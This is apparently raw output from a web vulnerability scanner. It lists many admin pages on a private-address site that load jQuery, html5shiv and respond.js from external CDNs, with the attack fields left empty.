URL http://192.168.1.10:80/admin/ADMIN/SERVER/index.php

Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10:80/admin/ADMIN/SERVER/index.php
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Method GET

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/

Method POST

Attack

Evidence <script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>

URL http://192.168.1.10/

Method POST

Attack

Evidence <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>

URL http://192.168.1.10/admin/

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
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Method POST
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Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/Customers.php

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/Customers.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/Customers.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/index.php

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/index.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/index.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php

Method POST

Attack
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Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=2

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=2

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=2

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
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URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=3

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=4

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
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Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/asset.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/asset.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/index.php

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/index.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
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Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=2

Method POST
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Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=3

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=4

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=5

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=5

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=6

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=6

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=7

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=7

Method POST

Attack
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URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=8

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=8

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=9

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=9

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/OOS/

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/OOS/

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/OOS/

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
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Method POST

Attack
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URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/OOS/index.php

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/OOS/index.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/OOS/index.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user.php

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user_type.php

Method POST

Attack
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Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/add_new_user_type.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/View_Customer.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_category.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
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Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/add_new_equipment.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/asset.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php

Method POST

Attack
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Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3

Method POST

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
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Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=10

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=3

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
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Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
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Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
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Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php

Method POST

Attack

http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php


Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3

Method POST

Attack

Evidence <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"></script>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3

Method POST

Attack

Evidence <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>

http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1
